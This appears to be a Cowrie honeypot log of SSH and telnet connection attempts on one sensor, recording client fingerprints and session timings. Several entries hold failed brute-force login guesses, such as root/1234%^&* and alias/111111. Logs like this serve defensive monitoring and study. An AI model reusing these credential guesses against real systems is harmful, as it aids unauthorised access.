{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":64498,"dst_ip":"159.203.135.109","dst_port":22,"session":"871123fe886b","protocol":"ssh","message":"New connection: 152.32.213.101:64498 (159.203.135.109:22) [session: 871123fe886b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:00.600606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:00.608761Z","src_ip":"152.32.213.101","session":"871123fe886b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:00.840404Z","src_ip":"152.32.213.101","session":"871123fe886b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234%^&*","message":"login attempt [root/1234%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:01.751885Z","src_ip":"152.32.213.101","session":"871123fe886b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:02.972601Z","src_ip":"152.32.213.101","session":"871123fe886b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48970,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e40828970be","protocol":"ssh","message":"New connection: 159.203.92.129:48970 (159.203.135.109:22) [session: 9e40828970be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:18.235758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:18.645128Z","src_ip":"159.203.92.129","session":"9e40828970be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:18.751952Z","src_ip":"159.203.92.129","session":"9e40828970be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali123456","message":"login attempt [ali/ali123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:20.209357Z","src_ip":"159.203.92.129","session":"9e40828970be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:21.849614Z","src_ip":"159.203.92.129","session":"9e40828970be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":58074,"dst_ip":"10.17.0.5","dst_port":22,"session":"533bb6f26f66","protocol":"ssh","message":"New connection: 171.244.143.209:58074 (10.17.0.5:22) [session: 533bb6f26f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:55.988562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:56.007437Z","src_ip":"171.244.143.209","session":"533bb6f26f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:56.282250Z","src_ip":"171.244.143.209","session":"533bb6f26f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":56406,"dst_ip":"10.17.0.5","dst_port":22,"session":"930e0e4f6b71","protocol":"ssh","message":"New connection: 45.78.194.242:56406 (10.17.0.5:22) [session: 930e0e4f6b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:56.326529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:56.332145Z","src_ip":"45.78.194.242","session":"930e0e4f6b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:56.628829Z","src_ip":"45.78.194.242","session":"930e0e4f6b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123456789","message":"login attempt [root/test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:57.325116Z","src_ip":"171.244.143.209","session":"533bb6f26f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"o0i9u8y7","message":"login attempt [root/o0i9u8y7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:57.833301Z","src_ip":"45.78.194.242","session":"930e0e4f6b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:00:58.577506Z","src_ip":"171.244.143.209","session":"533bb6f26f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44384,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8b43206a138","protocol":"ssh","message":"New connection: 159.203.92.129:44384 (159.203.135.109:22) [session: d8b43206a138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:01.332343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:01.337592Z","src_ip":"159.203.92.129","session":"d8b43206a138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:01.347538Z","src_ip":"159.203.92.129","session":"d8b43206a138","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"1","message":"login attempt [alias/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:01.389345Z","src_ip":"159.203.92.129","session":"d8b43206a138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:02.445571Z","src_ip":"159.203.92.129","session":"d8b43206a138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:06.336488Z","src_ip":"45.78.194.242","session":"930e0e4f6b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.172.174.253","src_port":60740,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a00bc0d6b4c","protocol":"telnet","message":"New connection: 38.172.174.253:60740 (10.17.0.5:23) [session: 6a00bc0d6b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:35.423110Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":41706,"dst_ip":"10.17.0.5","dst_port":23,"session":"0050a68564db","protocol":"telnet","message":"New connection: 85.190.254.94:41706 (10.17.0.5:23) [session: 0050a68564db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:36.853587Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45416,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4c4def939e6","protocol":"telnet","message":"New connection: 85.190.254.94:45416 (10.17.0.5:23) [session: c4c4def939e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:37.902820Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48654,"dst_ip":"10.17.0.5","dst_port":23,"session":"a06d3846a5f6","protocol":"telnet","message":"New connection: 85.190.254.94:48654 (10.17.0.5:23) [session: a06d3846a5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:38.869801Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":40504,"dst_ip":"10.17.0.5","dst_port":23,"session":"36dcbb340ac2","protocol":"telnet","message":"New connection: 85.190.254.94:40504 (10.17.0.5:23) [session: 36dcbb340ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:44.115385Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38280,"dst_ip":"159.203.135.109","dst_port":22,"session":"4254c9aede0e","protocol":"ssh","message":"New connection: 159.203.92.129:38280 (159.203.135.109:22) [session: 4254c9aede0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:44.165868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:44.172656Z","src_ip":"159.203.92.129","session":"4254c9aede0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:44.177039Z","src_ip":"159.203.92.129","session":"4254c9aede0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"111111","message":"login attempt [alias/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:44.192955Z","src_ip":"159.203.92.129","session":"4254c9aede0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:45.200298Z","src_ip":"159.203.92.129","session":"4254c9aede0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.624239921569824,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:47.047254Z","src_ip":"38.172.174.253","session":"6a00bc0d6b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":53858,"dst_ip":"10.17.0.5","dst_port":23,"session":"6beda8e319f2","protocol":"telnet","message":"New connection: 85.190.254.94:53858 (10.17.0.5:23) [session: 6beda8e319f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:47.470949Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":54752,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef23b417c5f","protocol":"telnet","message":"New connection: 85.190.254.94:54752 (10.17.0.5:23) [session: 1ef23b417c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:47.662325Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":55668,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e3c7ca5ff0","protocol":"telnet","message":"New connection: 85.190.254.94:55668 (10.17.0.5:23) [session: 99e3c7ca5ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:47.882672Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"445e225b61cb","protocol":"telnet","message":"New connection: 85.190.254.94:56146 (10.17.0.5:23) [session: 445e225b61cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:48.037928Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56828,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e461fa7a275","protocol":"telnet","message":"New connection: 85.190.254.94:56828 (10.17.0.5:23) [session: 1e461fa7a275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:48.235942Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57002,"dst_ip":"10.17.0.5","dst_port":23,"session":"3179511dca67","protocol":"telnet","message":"New connection: 85.190.254.94:57002 (10.17.0.5:23) [session: 3179511dca67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:48.285203Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57628,"dst_ip":"10.17.0.5","dst_port":23,"session":"f432c5ae7275","protocol":"telnet","message":"New connection: 85.190.254.94:57628 (10.17.0.5:23) [session: f432c5ae7275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:48.446171Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44466,"dst_ip":"10.17.0.5","dst_port":23,"session":"fef66473ff40","protocol":"telnet","message":"New connection: 85.190.254.94:44466 (10.17.0.5:23) [session: fef66473ff40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:52.475019Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52458,"dst_ip":"10.17.0.5","dst_port":23,"session":"eba8ddbfab2f","protocol":"telnet","message":"New connection: 85.190.254.94:52458 (10.17.0.5:23) [session: eba8ddbfab2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:54.586535Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52564,"dst_ip":"10.17.0.5","dst_port":23,"session":"725025090634","protocol":"telnet","message":"New connection: 85.190.254.94:52564 (10.17.0.5:23) [session: 725025090634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:54.618646Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":58132,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d27956bc3a3","protocol":"telnet","message":"New connection: 85.190.254.94:58132 (10.17.0.5:23) [session: 6d27956bc3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:56.002399Z"}
